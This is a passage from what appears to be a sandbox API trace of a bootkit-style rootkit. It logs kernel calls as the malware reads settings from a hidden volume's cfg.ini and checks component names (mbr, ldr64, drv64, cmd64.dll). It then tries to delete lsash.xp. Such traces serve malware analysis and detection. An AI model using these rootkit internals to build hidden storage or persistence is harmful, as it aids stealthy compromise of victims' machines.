out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.569] KeEnterCriticalRegion () [0130.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.569] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.569] KeLeaveCriticalRegion () [0130.569] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.569] KeEnterCriticalRegion () [0130.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.569] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.569] IdePortDispatch () returned 0x103 [0130.569] KeWaitForMutexObject () returned 0x0 [0130.570] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.570] KeLeaveCriticalRegion () [0130.570] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.570] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.570] KeEnterCriticalRegion () [0130.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.570] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df5000 [0130.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.570] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.570] IdePortDispatch () returned 0x103 [0130.570] KeWaitForMutexObject () returned 0x0 [0130.570] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.570] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.570] IdePortDispatch () returned 0x103 [0130.570] KeWaitForMutexObject () returned 0x0 [0130.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.570] KeLeaveCriticalRegion () [0130.570] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.571] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.571] KeEnterCriticalRegion () [0130.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.571] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.571] KeLeaveCriticalRegion () [0130.571] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.571] KeEnterCriticalRegion () [0130.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.571] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.571] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.571] KeLeaveCriticalRegion () [0130.571] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.571] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.571] KeEnterCriticalRegion () [0130.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.571] ExFreePoolWithTag (P=0xfffffa800294d750, Tag=0x0) [0130.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.571] KeLeaveCriticalRegion () [0130.571] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.571] ReleaseMutex (hMutex=0xf0) returned 1 [0130.571] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.571] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.571] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.571] KeEnterCriticalRegion () [0130.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.572] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.572] IdePortDispatch () returned 0x103 [0130.572] KeWaitForMutexObject () returned 0x0 [0130.572] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.572] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.572] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.572] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.572] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.572] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c660 [0130.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.572] KeLeaveCriticalRegion () [0130.572] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.572] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.572] KeEnterCriticalRegion () [0130.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.572] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.572] KeLeaveCriticalRegion () [0130.572] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.572] KeEnterCriticalRegion () [0130.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.572] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.572] IdePortDispatch () returned 0x103 [0130.572] KeWaitForMutexObject () returned 0x0 [0130.573] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.573] KeLeaveCriticalRegion () [0130.573] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.573] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.573] KeEnterCriticalRegion () [0130.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.573] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df6000 [0130.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.573] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.573] IdePortDispatch () returned 0x103 [0130.573] KeWaitForMutexObject () returned 0x0 [0130.573] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.573] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.573] IdePortDispatch () returned 0x103 [0130.573] KeWaitForMutexObject () returned 0x0 [0130.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.573] KeLeaveCriticalRegion () [0130.573] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.574] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.574] KeEnterCriticalRegion () [0130.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.574] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.574] KeLeaveCriticalRegion () [0130.574] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.574] KeEnterCriticalRegion () [0130.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.574] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.574] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.574] KeLeaveCriticalRegion () [0130.574] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.574] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.574] KeEnterCriticalRegion () [0130.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.574] ExFreePoolWithTag (P=0xfffffa800294c660, Tag=0x0) [0130.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.574] KeLeaveCriticalRegion () [0130.574] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.574] ReleaseMutex (hMutex=0xf0) returned 1 [0130.574] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.574] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.574] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.574] KeEnterCriticalRegion () [0130.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.575] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.575] IdePortDispatch () returned 0x103 [0130.575] KeWaitForMutexObject () returned 0x0 [0130.575] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.575] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.575] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.575] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.575] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.575] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c910 [0130.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.575] KeLeaveCriticalRegion () [0130.575] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.575] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.575] KeEnterCriticalRegion () [0130.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.575] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.575] KeLeaveCriticalRegion () [0130.575] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.575] KeEnterCriticalRegion () [0130.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.575] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.575] IdePortDispatch () returned 0x103 [0130.575] KeWaitForMutexObject () returned 0x0 [0130.576] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.576] KeLeaveCriticalRegion () [0130.576] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.576] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.576] KeEnterCriticalRegion () [0130.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.576] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df7000 [0130.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.576] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.576] IdePortDispatch () returned 0x103 [0130.576] KeWaitForMutexObject () returned 0x0 [0130.576] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.576] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.576] IdePortDispatch () returned 0x103 [0130.576] KeWaitForMutexObject () returned 0x0 [0130.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.576] KeLeaveCriticalRegion () [0130.576] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.577] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.577] KeEnterCriticalRegion () [0130.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.577] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.577] KeLeaveCriticalRegion () [0130.577] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.577] KeEnterCriticalRegion () [0130.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.577] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.577] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.577] KeLeaveCriticalRegion () [0130.577] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.577] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.577] KeEnterCriticalRegion () [0130.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.577] ExFreePoolWithTag (P=0xfffffa800294c910, Tag=0x0) [0130.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.577] KeLeaveCriticalRegion () [0130.577] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.577] ReleaseMutex (hMutex=0xf0) returned 1 [0130.577] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.577] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.577] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.577] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.577] KeEnterCriticalRegion () [0130.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.578] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.578] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.578] IdePortDispatch () returned 0x103 [0130.578] KeWaitForMutexObject () returned 0x0 [0130.578] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.578] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.578] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.578] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.578] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.578] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.578] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.578] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.578] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.578] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.578] KeLeaveCriticalRegion () [0130.578] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.578] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.578] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.578] KeEnterCriticalRegion () [0130.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.578] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.578] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.578] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.578] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.578] IdePortDispatch () returned 0x103 [0130.579] KeWaitForMutexObject () returned 0x0 [0130.580] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.580] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.580] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.580] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.580] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.580] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.580] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.580] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.580] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.580] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.580] _strnicmp (_Str1="", _Str="lsash.xp", 